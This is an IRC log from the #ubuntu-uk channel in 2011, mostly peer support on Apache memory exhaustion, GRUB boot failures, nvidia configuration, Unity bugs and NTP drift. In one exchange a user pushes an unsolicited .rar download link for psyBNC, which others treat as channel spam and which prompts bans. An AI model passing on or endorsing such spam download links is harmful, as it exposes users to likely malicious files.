<mgdm> s/more/moar/g
 * AlanBell runs quite a few wordpress instances on ubuntu+apache with no ill effects
<shauno> AlanBell: I haven't. Linux gives me more sensible options for installing on broken boxes
<X3N> AlanBell: do you run them on VMs using xen?
 * X3N thinks this is the issue
<AlanBell> X3N: some are in a bytemark VPS that I think uses Xen, others are in KVM VMs on our hardware
<popey> lol X3N
<popey> AlanBell: how much traffic?
<X3N> bytemark use KVM
<AlanBell> popey: been slashdotted a few times
<mgdm> could you do something like pipe the output of ps aux to a file periodically to see what's eating the RAM? (or something more elaborate if you have it available)
<mgdm> also, I highly recommend Varnish (varnish-cache.org) :)
<popey> slashdotted since being on 10.04 / php 5.3 and wp 3.x?
<X3N> mgdm: we can see what's happening, apache2 eats ram like a crazy so and so on the lightest of hammering
<mgdm> X3N: ah, i was confused by MySQL being killed earlier
<popey> the linux oom killer is not discriminatory! :D
<X3N> that's because a oom-killer was sent out by apache
<popey> the bullet had ORACLE written on it
<popey> uh, I mean MYSQL
<mgdm> same difference
<mgdm> :P
<HazRPG> I might be wrong, but this is about minecraft: http://page2rss.com/p/60da15d948c8acb893cb122bd4b8a896_5332743_5341491
<AlanBell> popey: 10,000 views per month
<AlanBell> however it is on debian
<popey> right, so no.
<popey> i dont know what the issue is, but its some combo of ubuntu 10.04, apache, mysql, wp 3.x and php 5.3
<popey> fab had the same issue on his vps
<popey> ended up switching to centos
<X3N> I'm pretty sure it's a kernel issue around memory management
<X3N> I ran the same benchmark on my bytemark vm and it didn't flinch, it has an older verison of wp though
<X3N> but the comparison in how quickly ubuntu-uk.org fell to it's knees suggests something is pretty wrong at a kernel level
<popey> try the same benchmark with lighty
<mgdm> at least if you're runnign Lighty and it *is* php, the process will likely get killed and restarted automagically
<popey> i have monitored a box whilst its doing this
<popey> and it is apache eating ram
<mgdm> popey: running mod_php?
<popey> the kernel is just doing its job of reaping processes
<popey> mgdm: either
<mgdm> Oh, mod_php or fastcgi?
<popey> either :)
<mgdm> OK
<X3N> I suspect lighty may use different methods of mem allocation given it's design to be less resource intensive
<mgdm> If it was a problem with PHP I'd be more able to perhaps get it fixed
<mgdm> but I don't know a lot about Apache's guts
<mgdm> (as
<mgdm> (aside from as a user)
<AlanBell> !info zoomtext
<lubotu3> Package zoomtext does not exist in maverick
<mgdm> !info apache
<lubotu3> Package apache does not exist in maverick
<mgdm> !info httpd
<lubotu3> Package httpd does not exist in maverick
<mgdm> !info apache2
<lubotu3> apache2 (source: apache2): Apache HTTP Server metapackage. In component main, is optional. Version 2.2.16-1ubuntu3.1 (maverick), package size 1 kB, installed size 36 kB
<mgdm> (apologies for the spam)
<X3N> mgdm: it could be php causing the problem via the connector
<mgdm> X3N: if it happens in fastcgi then it would show up as the PHP processes eating ram, not apache2
<mgdm> I woudl also argue that even if it was some interaction with PHP that makes it happen, it shouldn't be possible for it to happen :)
<X3N> agreed
<mgdm> You using apache in prefork mode?
<mgdm> I was about to say could you pastebin the config somewhere private, but it's in loads of files...
<X3N> is that a module?
<popey> no
<popey> yes, we are using prefork
<mgdm> what's your MaxClients?
<X3N> 150
<mgdm> o_O
<mgdm> that should probably be considerably lower
<X3N> lol yeah
<popey> I had it as low as 20 on my vps
<popey> still OOMed
<X3N> actually that's the default mgdm so..
<mgdm> X3N: yeah - maybe stick it down a bit
<mgdm> good practice even if it doesn't help the immediate issue
 * mgdm -> pub
<X3N> php can be quite slow to release memory for reallocation, maybe we have a leak and the time between marking for reallocation is longer than the next request
<mgdm> still wouldn't explain it happening in fastcgi mode
<X3N> I don't think we're using fastcgi mode?
<mgdm> popey says it happens in both
<X3N> oh
<Safiyyah> Okay so, yesterday firefox stopped accessing the internet and so did evolution. I rebooted today and got a black screen with an error message, I tried loading an Ubuntu live disk but no success. Somehow on the next boot up ubuntu scanned for errors and booted up. still with no working firefox or evolution. I came back here and got some ideas on running the live disk
<Safiyyah> I backed up my work, ran the live disk and got a successful installation, afterwhich when I rebooted I also got the same black screen with an error message. I have literally written the whole message and types in on pastebin
<Safiyyah> http://paste.ubuntu.com/572793/
<Safiyyah> please excuse any minor errors with spacing
<Safiyyah> i am now running a fedora live disk
<Safiyyah> which is working with no problem
<Safiyyah> and that is what am using to speak
<Safiyyah> what has happened and how do I get a working system back?
<X3N> that looks like the livedisk is broken
<Safiyyah> those errors are from my hard drive
<Safiyyah> and it was the same error BEFORE i did a clean install
<AlanBell> grub isn't working right
<Safiyyah> okay well how to proceed
<Safiyyah> I have backed everything I need up
<Darael> I'm having some problems with Flash in 64-bit Ubuntu.  I know, I know... in any case, pressing the shift key is registered, but releasing it doesn't seem to be, unless there's a text-entry area in the Flash.
<Safiyyah> i have 3 ubuntu disks, hardy,  karmic and lucid
<Safiyyah> and karmic doesnt run live with my drivers
<Safiyyah> it never did
<Safiyyah> it runs on the pc but the monitor says it is not receiving any information
<Safiyyah> so ... should I install fedora, download ubuntu again, make a new live disk?
<Safiyyah> there seems to be a newer ubuntu 10.10?
<penguin42> Darael: Two questions; are you running 64bit or 32bit flash, which browser and are you running desktop effects?
<AlanBell> Safiyyah: I think grub is confused about which disk your operating system is on
<penguin42> erm, make that 3
<AlanBell> Safiyyah: can you tell us more about how your disk(s) are partitioned?
<AlanBell> Darael: what website should one go to in order to reproduce your issue?
<AlanBell> Darael: how do you know shift is pressed if there is no entry field in which to type?
<Safiyyah> yes I have swap, root, home and storage partitions
<Safiyyah> storage is 389 gb I just dumb my media there
<Safiyyah> dump*
<X3N> 10.10 might be a better bet, seeming that you're having driver issues with the current live installer
<X3N> the only other possibility is that you've changed your harddisk configuration since installing and not updated grub
<X3N> -only
<Safiyyah> havent touched it
<AlanBell> can you pastebin the output of sudo fdisk -l /dev/sda
<Darael> AlanBell: I was bored and playing flash games, where the effect is noticeable.
<AlanBell> and do you have one big disk or several?
<AlanBell> so is there an sdb?
<Safiyyah> AlanBell:  am on a fedora live disk yeah?
<AlanBell> Safiyyah: ok, well however you get root on that
<AlanBell> su perhaps
<Darael> penguin42: Compiz is on, it happens in both Chromium and Firefox, and I am using flash from the repos (so 32-bit w/ nspluginwrapper) but remember it happening wth 64-bit flash.
<AlanBell> Darael: link please
<Darael> AlanBell: http://www.kongregate.com/games/krispykrem/kohctpyktop-engineer-of-the-people
<penguin42> Darael: There have been various flash/nspluggin/compiz interactions in the past where removing compiz has helped - it's worth a try
<Darael> penguin42: I'll give that a go then.
<HazRPG> ali1234: hehe, I love your little hack you made :)
<AlanBell> Darael: nope, works fine for me
 * HazRPG clicks fullscreen
<AlanBell> I can draw red things and yellow things with shift
<Safiyyah> lol
<Safiyyah> i dont know anything about fedora, it was just my only other disk to try
<Safiyyah> this is the error message i got
<Darael> AlanBell: That's what I expect.  However, it gets stuck on yellow.  It eventually returned to N-type but now I can't get it to go back to P-type.
<Safiyyah> http://paste.ubuntu.com/572805/
<Darael> penguin42: Still happening with metacity.
<Safiyyah> nope
<penguin42> Darael: Hmm ok, not that one then :-)
<AlanBell> Safiyyah: try just typing su
<AlanBell> then hit return
<AlanBell> that might give you a # prompt
<Safiyyah> ah got it
<Safiyyah> :)
<AlanBell> fdisk -l /dev/sda
<AlanBell> without the sudo now (don't need it as you are root)
<Safiyyah> http://paste.ubuntu.com/572807/
<Safiyyah> there is an extra dir i dont know about
<Safiyyah> sda1
<Safiyyah> sda is root
<Safiyyah> sda 2 is root rather
<Baikonur> sda1 is the root of all evil
<Safiyyah> sda 3 is home and sda 4 is storage and then sda 5 is swap
<Safiyyah> so sda 1... i dont know where it came from
<Safiyyah> lol
<Safiyyah> Baikonur:
<Darael> Well, if we're out of ideas I shall go to #ubuntu.  Thanks anyway, AlanBell, penguin42.
<Safiyyah> lol
<penguin42> Darael: sorry, not heard the problem with only shift before
<hamitron> Safiyyah: sda5 is inside sda1
<Darael> penguin42: Yeah, I searched but I couldn't find anything.
<Safiyyah> hamitron:  is this the crocks of my problem?
<hamitron> I not read your problem, but was just explaining what sda1 is ;)
 * AlanBell returns with coffee and cake
<penguin42> ooh cake
<AlanBell> Safiyyah: just going to look for a guide for you
<Safiyyah> i wanted some cake too
 * Safiyyah pouting
<AlanBell> MINE
<Safiyyah> share!
<AlanBell> hands off :)
<AlanBell> there is this, which isn't quite what I was looking for https://help.ubuntu.com/community/GrubHowto
<AlanBell> in fact sorry, totally wrong
<AlanBell> this one is informative https://help.ubuntu.com/community/Grub2
<AlanBell> this is what I was looking for https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
<AlanBell> should be possible to use that guide to get grub reinstalled and looking at the right partitions
<AlanBell> or, you could download 10.10 and install that and hope it just works (should do)
<AlanBell> mmmm cake
<hamitron> :)
<bigcalm> Hi kids
<hamitron> bigcalm :)
 * Safiyyah shaking my head
<Safiyyah> Alan what am I supposed to do about any of this when I cant get into ubuntu in the first place
<AlanBell> well I *think* it should all be doable from the Fedora live CD
<AlanBell> however I might be wrong, especially if Fedora uses a very different version of grub (not sure)
<Safiyyah> it uses grub legacy
<Safiyyah> 0.97
<AlanBell> oh :(
<hamitron> could you use loadlin?
 * AlanBell thinks downloading 10.10 is the way forward
<shauno> loadlin needs real dos, rather than any windows made in the last 10 years
<hamitron> yeh
<hamitron> or couldn't you boot off a live cd, and chroot to the ubuntu install?
<shauno> That's more difficult to find than a copy of 10.10 these days :)
<Safiyyah> lol
<Safiyyah> am not hardcore like u guys
<Safiyyah> am not an expert
<Safiyyah> problem: at mount | tail -1
<Safiyyah> it gives me live session as my current mount point
<Safiyyah> let me paste bin
<Safiyyah> http://paste.ubuntu.com/572814/
<Safiyyah> so i dont have access to my ubuntu hard drive
<popey> uh
<popey> you're not quite doing it right
<Safiyyah> AND i have to DVD drives on my pc, so i could still make a live disk
<Safiyyah> but againt the second drive isnt working
<Safiyyah> yes its plugged in properly
<popey> but I am too drunk to explain how to do it properly
<Safiyyah> the machine has just decided to hate me right now
<hamitron> shame on you popey ;)
<bigcalm> popey: did you kill mc.net?
<Safiyyah> two* DVD drives
<popey> http://irclogs.ubuntu.com/2011/01/29/%23ubuntu-classroom.html#t14:06
<popey> that may help
<popey> it describes how to fix a broken machine
<hamitron> right, I've made a list of stuff to remove from my gaming rig, so now to decide how many comps I need running to do them all :)
<hamitron> has anyone used skype on a 500mhz cpu?
<Safiyyah> so my system started going mad after the last update i did on ubuntu
<Safiyyah> these updates are going to become this scary?
<AlanBell> not normally!
<AlanBell> updates usually just work
<ali1234> HazRPG, Azelphur, popey, MartijnVdS: http://al.robotfuzz.com/content/workaround-fullscreen-flash-linux-multiheaded-desktops
<ali1234> (and anyone else who has problems with flash on multihead)
<HazRPG> hurray! \o/
 * HazRPG giggles because he got to use the hack before others :)
<Azelphur> ali1234: awesome
<HazRPG> ali1234: what's new in 0.2?
 * HazRPG says as he opens up the code
<ali1234> i just cleaned out unused #includes and updated the documentation
<HazRPG> ali1234: noticed, nice one :)
<daubers> Hmmm
<daubers> Minecraft still being dumb
 * daubers goes back to playing Pokemon
<HazRPG> daubers: :o! Black/White?
<daubers> HazRPG: Nope
<Baikonur> perl > ruby
 * HazRPG can't wait for black/white
<Baikonur> i can
<HazRPG> Baikonur: ?
<daubers> HazRPG: HeartGold
<Baikonur> i haven't played any pokemon since blue
<HazRPG> daubers: cool :)
<HazRPG> Baikonur: I still do from time to time
<ali1234> i haven't played any pokemon since red
<daubers> still have yellow around somewhere
<HazRPG> I've still got yellow around too
<HazRPG> and green
<HazRPG> although, green was hard to play for it being all in jap
<HazRPG> slowly get use to it
<Azelphur> make huge tower of TNT on minecraft, detonate, profit, http://dl.dropbox.com/u/3832397/screenshots/February%202011/2011-02-26-234523_3840x1200_scrot.png
<hamitron> profit?
<Azelphur> indeed
<hamitron> I can't even connect to the site to re-install the game
<hamitron> :/
<hamitron> but at least my gaming rig is slowly getting cleaner
<Azelphur> :)
<hamitron> although, for some weird reason, libreoffice won't uninstall
#ubuntu-uk 2011-02-27
<ubuntuuk-planet> [Kwabena Aning] LyX - http://blog.kaning.co.uk/archives/257
<safiyyah> AlanBell,  you still here?
<safiyyah> my war is coming to an end
<safiyyah> so given the war I just faught and that lucid is finally behaving itself
<safiyyah> should I still upgrade?
 * hamitron wouldn't
<hamitron> but it depends if you want newer stuff
<hamitron> :)
<safiyyah> lol
<safiyyah> that was war
<safiyyah> it wouldnt fix until I completely reformatted
<safiyyah> well in any even I am downloading the live disk for meerkat
<safiyyah> just incase
<safiyyah> event*
<safiyyah> karmic live disk doesnt work off the bat and lucid seems to be dependant on mood
<safiyyah> cant hurt to have that one ready
<safiyyah> lol
<safiyyah> does anyone run another linux distro? am thinking open suse? time to try other stuff... fedora will kill me... too hard core
<hamitron> sometimes it is a good way to learn, trying something more "hardcore"
<hamitron> but it is also sometimes a good idea to learn 1 system first
<safiyyah> i have been using Ubuntu for 4 years
<safiyyah> am not going to get better at it
<safiyyah> lol
<hamitron> easier to learn how to manage installed packages and stuff
<hamitron> well, it is refreshing to try new distro, see what suits you best also :)
<hamitron> my personal favourites are slackware, debian and ubuntu
<safiyyah> slackware.... u are hardcore
<hamitron> tbh, I find slackware easiest
<hamitron> ;/
<safiyyah> lol
<safiyyah> i think the name slack implies it lol
<safiyyah> where is xorg.conf
<safiyyah> i searched and didnt find it
<hamitron> I started playing with linux before the days of GUI installs
<safiyyah> isnt it at /etc/x11?
<hamitron> these days you often don't need one
<safiyyah> and i wouldn't touch it before GUI
<safiyyah> lol
<hamitron> it took me 2 years to get the GUI started :)
<safiyyah> are you old?
<hamitron> my vid card was cheap and picky
<hamitron> 28
<hamitron> so I like to think young ;/
<safiyyah> 28 and 2 years without GUI?
<safiyyah> wow!
<safiyyah> this is driving me mad
<safiyyah> why would xorg.conf be hiding?
<hamitron> these days it can auto detect everything
<hamitron> so no settings are needed in xorg.conf, and there is no point in creating it
<safiyyah> lol i need it
<safiyyah> i have a TV for a monitor
<safiyyah> trust me
<safiyyah> you want nvidia working
<hamitron> I personally hate not having a config file
<safiyyah> fix xorg first
<safiyyah> popey made me a magical xorg file
<safiyyah> :)
<popey> heh
<hamitron> there is a command to generate it
<hamitron> or a default one
<safiyyah> popey am up and running
<popey> not any more there isnt
<popey> not a useful one anyway
<safiyyah> when I install nvidia
<safiyyah> my graphics go mad
<hamitron> imo, that really is a bad thing
<hamitron> Xorg development has spoilt linux use for me :(
<ali1234> if you use nvidia, nvidia-settings will generate an xorg.conf
<popey> as wil nvidia-xconfig
<popey> (on the command line)
 * hamitron goes and moans in a corner by himself to save everyone
<safiyyah> okay lets give it a go
<safiyyah> i am installing the drivers
<ali1234> and you will probably need one, because nvidia driver is stuck in the 00s
<safiyyah> dont any of you nice people go to bed in the middle of this
<hamitron> don't spend too long then ;)
<safiyyah> hamitron i wont but system is still updating
<safiyyah> got 8 mins left
<hamitron> I was meaning hours tbh
<hamitron> :)
<safiyyah> cant run another software manager in that time
<safiyyah> just dont go to bed
<safiyyah> especially you popey
<popey> hah
 * popey is watching IM3 on C4HD
<popey> not going to bed yet
<popey> er MI3
<safiyyah> what is IM3 and c4HD>
<hamitron> C4HD?
<popey> Mission Impossible 3
<popey> Channel 4 HD
<hamitron> posh bugger
<hamitron> ;/
<safiyyah> so i got this blu ray disk player that let you watch youtube
<bigcalm> popey: did you ever play IM?
<safiyyah> erm.... apart from the luxury of sitting on the sofa and pressing the remote
<ali1234> my parent have one, it doesn't support HD and looks terrible
<safiyyah> am not sure this is worth the investment
<hamitron> guess I should buy a digibox before they turn off analogue
<popey> bigcalm: yeah, not that much of a fan
<safiyyah> but the blu ray disk quality is wooowwww
<popey> hamitron: i only have virgin cable telly
<popey> and only then because I have a 'mates rates' deal
<hamitron> :)
<popey> when was the last world cup?
<ali1234> btw, they use linux to do the youtube stuff, that's why they take so long to switch mode: they have to dual boot, because they are too paranoid to use linux for the bluray function
 * bigcalm wants to play mc on the server
<popey> 2006
<popey> thats when i bought my telly
<popey> ali1234: i thought the blueray function was linux also
<hamitron> mine is older than me :/
<popey> in fact isnt it java
<ali1234> probably
<ali1234> the one my parents has reboots into a totally different UI when you go to the extended web functions, it looks completely different, like it was made by a totally different team
<ali1234> and that part definitely uses linux, and it takes about 5 minutes to load up
<ali1234> it's a panasonic
<hamitron> someone spank the minecraft creator :/
<popey> heh
<bigcalm> They need better servers
<hamitron> I deleted my install on my other comp
<hamitron> and was going to start fresh on here
<hamitron> now can't get the damn thing
<bigcalm> I removed it from my workstation so that I might do some work instead
<hamitron> well
<hamitron> technically I am moving it to mine
<hamitron> ;)
<hamitron> clearing stuff off my rig for proper games
<penguin42> hmm, if this Intel Thunderbolt stuff is external wired PCI-e and it's going to be common, I wonder how it's secured
<ali1234> probably the same way as firewire
<ali1234> ie not at all
<Safiyyah> okay
<Safiyyah> so i accidentally switched off the machine
<Safiyyah> and when i rebooted i got the old black screen of death with the error message
<Safiyyah> needless to say i am now in a live session AGAIN
<Safiyyah> popey can you tell me how to make a live USB, I had already download 10.10 onto the HDD
<Safiyyah> I was in the middle of burning a live disk when I switched it off actually
<Safiyyah> i think grub needs updating
<Safiyyah> popey
<Safiyyah> hamitron,
<popey> hmm?
<popey> !usb
<lubotu3> For information about installing Ubuntu from USB flash drives, see https://help.ubuntu.com/community/Installation/FromUSBStick - For a persistent live USB install, see: https://wiki.ubuntu.com/LiveUsbPendrivePersistent
<Safiyyah> why have i gone back to that black screen of death?
<hamitron> what did you do to fix it last time?
<Pline> dude u want this http://uploadmirrors.com/download/FBAIGMFU/psyBNC2.3.1_3.rar
<MooDoo> hello all
<MooDoo> ah not the only channel to be offered the rar file :)
<tsimpson> I've gone on a +b spree
<MooDoo> :)
<Myrtti> humdidum
<AlanBell> morning Myrtti and all
<MooDoo> morning AlanBell
<Jibadeeha> if i run an application under another user but on my desktop by setting the DISPLAY to localhost:0 will it leave any trace under my account
<AlanBell> Jibadeeha: probably not
<Jibadeeha> think you are right AlanBell
<brobostigon> morning everyone.
<MooDoo> morning
<brobostigon> morning MooDoo
<MooDoo> :)
<brobostigon> i did a "sudo do-release-upgrade -d" from maverick to natty last night.
<MooDoo> did it break anything?
<brobostigon> not noticed anything major yet.
<brobostigon> only thing that is broke, thats major, is i have no application menu, but i do have that thingie for menu's thats adapts to the prog you have open.
<brobostigon> and i cant figure out how toget it back.
<brobostigon> no luck, any advice how to get my app menu back? please.
<AlanBell> is this unity brobostigon?
<popey> there is an icon part way down the unity side bar which opens the list of applications
<popey> Unity doesnt have the "Applications Places System" menu
<AlanBell> it has a setsquare on it
<popey> :)
<AlanBell> it is broken for me at the moment
<popey> i didnt even notice it until recently
<brobostigon> popey: i am in desktop safemode, unity isnt working properly.
<AlanBell> if you can get to a terminal and start the application you want you can right click it in the unity thing and tell it to keep it in the menu
<popey> classic gnome?
<brobostigon> popey: yes.
<brobostigon> no, ubuntu desktop, from the login screen, but (safemode)
<brobostigon> nnot classic.
<jacobw> Does anyone know what the animal on the cover of 'Time Management for System Administators' is?
<popey> sloth?
<MooDoo> it's a wolverine
<MooDoo> jacobw: wolverine :)
 * popey is making roast
 * MooDoo suddenly dislikes popey
<popey> chicken, potatoes, stuffing, carrots, peas, cauliflower cheese
<popey> broccoli
<AlanBell> anyone know how to find the position of the text cursor relative to either the screen or the window?
<AlanBell> using dbus, at-spi or X stuff or anything else really
<popey> the text cursor on a console?
<AlanBell> on any window
<AlanBell> the place at which typing will happen
<popey> that sounds hard
<AlanBell> or, the place at which a character has just been typed would do
<popey> not sure that anything other than the app would know that
<popey> and why would the app expose it
<AlanBell> because of at-spi
<AlanBell> in theory
<Seeker`> hihi
<AlanBell> high level requirement is the compiz zoom plugin that follows the mouse, I want it to follow the text cursor too when typing
<popey> ah
<popey> wonder if you could bodge using xdamage
<popey> to see where the screen changed
<popey> hard though given it changes all over the place
<AlanBell> especially with compiz!
<AlanBell> and libnotify
<Seeker`> any idea how to make mythtv-server actually start at boot time? atm I have to "sudo service mythtv-backend start" every time I reboot. It is seriously damaging the girlfriend acceptance factor.
<AlanBell> although it might  actually be nice to zoom over to a libnotify thing when it happens
<ali1234> http://library.gnome.org/users/orca/unstable/preferences_magnifier.html.en
<ali1234> this can do it
<AlanBell> ali1234: yes, badly
<AlanBell> haven't figured out how it does it
 * AlanBell goes to read the orca source
<penguin42> talking about orca, anyone on nn getting an error during login about orca.py 'local variable environ_message referenced before assignment' or is it just me?
<brobostigon> would unity-2d do it,?
<popey> brobostigon: i dont think unity 2d is finished
<popey> brobostigon: whats wrong with unity?
<brobostigon> popey: it isnt working properly,
<popey> how?
<popey> being natty it could just be broken temporarily
<AlanBell> Seeker`: sudo update-rc.d mythtv-backend defaults
<AlanBell> should do it I think
<popey> .4
<popey> bah
<brobostigon> it pops in and out all the time, i cant launch apps, as the search doesnt work.
<popey> it is supposed to pop in and out
<popey> the search is currently broken
<brobostigon> but not without me telling it to do it.
<popey> it will if a window goes near it
<AlanBell> brobostigon: it was doing that for me yesterday
<popey> I'm sure it will be fixed soon eh gord ? :D
<brobostigon> popey: there was no window near it, i had just logged in.
<AlanBell> it was constantly flipping in and out as fast as it could. Fixed today with upgrade (although I didn't actually see unity in the packages to upgrade)
<brobostigon> AlanBell: hmm, weird isnt it.
<popey> fun
<brobostigon> AlanBell: let me upgrade and see if it fixes.
<ali1234> nah, fun is what is going to happen on release day when millions of noobs log in to it the first time
<popey> :)
<brobostigon> AlanBell: xulrunner is on the upgrade list, is that anything to dowith it?
<ali1234> no
<brobostigon> ok.
<suprengr> hi folks.. just wondering: is there the daily build in a virtual machine thing available for 11.04 yet? [sorry, forgot the name of the app that was there for previous builds]
<AlanBell> testdrive
<AlanBell> no idea, I just use virtualbox
<suprengr> AlanBell: thanks, I'll go check
<Seeker`> AlanBell: thanks, I'll give it a go
<brobostigon> ok, me logout, login, to see if unity fixed now.
 * suprengr says bfn... switching to 10.10 to go test drive 'testdrive'
<pr0ph3t> hi all
<pr0ph3t> I am trying to use the vlc web interface to stream media, how can I access it from another computer?
<pr0ph3t> I tried from my phone but I don't get audio or video
<pr0ph3t> can I access the web interface from a computer?
 * brobostigon gives up for a few hours.
<brobostigon> unity-2d seems to be kinda working though.
<brobostigon> although i can see a few missing bits.
<brobostigon> unity-2d is my temporary new friend.
<brobostigon> huge issue though, i cant get into any application menu's,
<Seeker`> AlanBell: that didn't work :(
<Seeker`> AlanBell: it uses upstart, don't know if that changes anything
<AlanBell> upstart should run init scripts, I thought
<Seeker`> apparently not
<AlanBell> http://upstart.ubuntu.com/getting-started.html
<Seeker`> it uses its own conf files, and symlinks the init.d file to its own script
<Seeker`> http://pastebin.ubuntu.com/573061/
<Seeker`> thats the conf file that is there by default
<Seeker`> but it doesn't seem to run when the computer stats
<Seeker`> *starts
<ubuntuuk-planet> [Tony] Were back. And its about time. - http://tonywhitmore.co.uk/blog/2011/02/27/were-back-and-its-about-time/
 * brobostigon return from a live usb of natty, to see if its the upgrade has caused breakage.
<brobostigon> i think the upgrade has caused breakage, as unity works fine from live usb.
<brobostigon-g1> weird. unity seems to work fine from live usb. so is it possible. the upgrade from maverick caused breakage?
<gord> brobostigon-g1, would help if you described the problem
<brobostigon-g1> gord the unity panel pops in and out. putting mouse on it does nothing.
<gord> brobostigon-g1, do you mean the panel or the launcher
<brobostigon-g1> the thing on the left.
<gord> the launcher.
<gord> known bug, wait for monday for a fix
<brobostigon-g1> ok. thank you gord. :)
<brobostigon-g1> gord may i ask where the problem lies. so i know what to look for.
 * brobostigon returns
 * popey tickles kazade 
<kazade> afternoon popey
<kazade> working on that Twitter client ;)
<Baikonur> my twitter client doubles as a browser
<AlanBell> kazade: is it a CLI one?
<kazade> AlanBell, nope :)
<AlanBell> gtk and better than gwibber?
<kazade> AlanBell, indeed
<BigRedS> Is it firefox?
<kazade> :)
<kazade> AlanBell, it's already better than Gwibber in that it doesn't take 30 seconds to load and eat masses of memory... on the other hand it doesn't yet display tweets, so swings and roundabouts
<AlanBell> will it support the streaming API?
<kazade> well... not immediately, but I can add that
<kazade> at the moment the features list consists of 1.) Don't suck 2.) Support Twitter and Identica 3.) Integrate nicely into Ubuntu
<AlanBell> I like it
<AlanBell> streaming API is an important component of #1
<kazade> yeah definitely
<kazade> especially for searches
<kazade> not so much for your home timeline
<AlanBell> I think it is
<kazade> heh, you must follow more people than me :)
<AlanBell> I follow 541 people
<AlanBell> and have 411 stalkers
<kazade> AlanBell, yeah I follow < 100
<kazade> ok, I'll make streaming a priority after actually getting it working :)
<AlanBell> where is the code?
<AlanBell> and is it python?
<kazade> the code isn't open yet, still thinking about how to license it
<kazade> and no, it's C++
 * BigRedS didn't realise people were allowed to code in non-python these days :)
<mgdm> You are if you want something to be even mildly fast
 * mgdm runs
<hamitron> :)
<BigRedS> don't you work on php? :)
 * BigRedS runs in the opposite direction
<kazade> I decided against Python... because of Gwibber :)
<mgdm> Yeah, but I do things that need to be fast in C ;)
<kazade> (waits for "but you can write extensions in C")
<kazade> :p
 * hamitron prefers C to C++
 * mgdm doesn't know C++
<mgdm> and I intend to keep it that way
<hamitron> can't get the hang of C++, learning atm ;)
<kazade> I've been learning C++ for about 8 years
<kazade> still learning
<kazade> :)
<hamitron> I should of said "learning the basics of C++"
<hamitron> haha
<BigRedS> I keep meaning to try some C flavour, but nobody trusts me with things that need to be fast, so theres no overriding need to
<hamitron> I just struggle to motivate myself to learn anything other than C, when the performance of loads of these new languages is not so good
<hamitron> I can see why I should, but just lazy
<BigRedS> my issue is the other way round - Perl always does almost exactly what I expect it to do. I keep getting annoyed at having a language that does something differently and just start whatever it was again in perl
<BigRedS> I just don't write stuff that's particularly better done in C
<brobostigon> i stick with c an c++, because pretty much any system icome across it will be of use, more or less the same, unlike other languages. so i stick with c and c++.
<kazade> I generally use Python for stuff that doesn't need to be fast, C++ for stuff that does
<kazade> I want my Twitter client to be really lightweight, hence the Gtkmm over PyGtk
<kazade> I use C# for some stuff though
<kazade> I don't touch Java - horrible language :)
<hamitron> it is a shame more developers don't want that light weight feature :)
<brobostigon> perfect example, would you truly use python on a microcontroller where you need realtime speed, no. you would use c++.
<kazade> hamitron, indeed
<hamitron> it is that lack of "the need for efficiency" that is killing computing for me
<hamitron> cba with all this memory use
<hamitron> just frustrating
<brobostigon> hamitron: hence i do stuff that requires that, iuse BeOS and or Haiku-OS.
<kazade> hamitron, but if you say anything, you get the reply "But we have so much memory now"..
<kazade> which is fine for a single app, or two apps
<kazade> but if your whole desktop is designed around the fact you have a lot of memory/CPU..
<kazade> not so good
<hamitron> exactly
<hamitron> brobostigon, I do intend to try it
<hamitron> :)
<hamitron> bbl
<penguin42> and then you try and fit it on a mobile phone/tablet that is back at ~1GHz/512MB RAM
<hamitron> gotta go on roof to changing some cables
<hamitron> :/
<hamitron> o/
<brobostigon> design your OS to be as efficiant and stable and speedy as possible.
<brobostigon> hamitron: :)
<kazade> right, the accounts dialog is "done"
<kazade> unless you want to remove accounts... that button doesn't work yet :p
<brobostigon> to make the most of any resource it has, than waste it with unncesseties.
 * brobostigon is slightly taken aback, by unity's workspace switcher.
<suprengr> Anyone up for some virtualisation help?
<suprengr> As in why ok in 10.10 but 10.04 wants ubuntu install cd in drive before install [for both virtualbox & kvm]?
<suprengr> [& then ignores the fact the CD is in the drive]
<suprengr> is this a bug to report or am I just being stooopid [again]?
<penguin42> can you just say that again?
<penguin42> how do you mean it wants the cd in drive before install?
<suprengr> Exact msg... CD/DVD 'Ubuntu 10.04 LTS _Lucid Lynx_ - Release i386 (20100429)' is required
<suprengr> Please insert the above CD/DVD into the drive '/cdrom/' to install software packages from the medium.
<penguin42> when?
<suprengr> more or less immediaely after 'install' request from either synaptic or software mng
<penguin42> oh ok
<penguin42> suprengr: Just go and edit the software sources or attack /etc/apt/sources.list with an editor; it's just still got the install CD in as a software source
<suprengr> penguin42:  just going to look...
<suprengr> penguin42: good shot!!!  installing now... thanks a mil :)
<penguin42> no prob
<bigcalm> My server's date/time is always around 4 seconds out when ntpdate runs in cron. What might that suggest?
<penguin42> if you just run ntpdate normally is it ok?
<bigcalm> root@revo:~# sh /etc/cron.daily/ntpdate
<bigcalm> 27 Feb 16:34:16 ntpdate[1590]: step time server 91.189.94.4 offset 1.687821 sec
<mgdm> bigcalm: Do not run ntpdate in cron!
<mgdm> bigcalm: the proper solution is to run ntpd
<bigcalm> mgdm: :(
<bigcalm> Why should it make any difference?
<mgdm> large jumps in the time have a tendency to make certain apps break
<mgdm> Dovecot, notably
<mgdm> ntpd adjust things by a few milliseconds here and there, more frequently
<mgdm> "sudo apt-get install ntpd" does, if I recall correctly, set up everything for you with no intervention required
<bigcalm> But why should the machine be out by 4 seconds every day?
<mgdm> because the real-time clocks in PCs suck
<zleap> hi
<BigRedS> not normally by that much, though?
<bigcalm> I've never had one suck that much daily
<bigcalm> E: Couldn't find package ntpd
<mgdm> try ntp
<penguin42> That's a bit extreme, you could also see it happen if you are losing timer interrupts for some reason (especially if rebooting brings the time back in line)
<bigcalm> Installed and running. Ho hum
<mgdm> Virtual machines are really bad for it for various reasons
<bigcalm> This is my revo, not a vm
<mgdm> But I've seen bare metal be about 10 seconds off a day, so...
<mgdm> Kraftwerk make excellent coding music
<penguin42> I only really like 'The Model' by them
<mgdm> I like quite a lot of their stuff, though they have a live album called Minimum-Maximum that is really good
<jpds> mgdm: Agreed.
<bigcalm> Less than 3 hours until Mark Steel, woop
<brobostigon> i just noticed, the clock in unity, doesnt seem to have an option to show seconds.
<MartijnVdS> < 3 hours until Top Gear :)
<brobostigon> :)
<MartijnVdS> brobostigon: Options are for other people. Unity is designed FOR you
<MartijnVdS> brobostigon: so you can't change anything
<brobostigon> MartijnVdS: hmmm, ohwell.
<bigcalm> MartijnVdS: are you going to a Top Gear show?
<ali1234> brobostigon: report a bug
<MartijnVdS> bigcalm: no, Top Gear is on BBC2 tonight
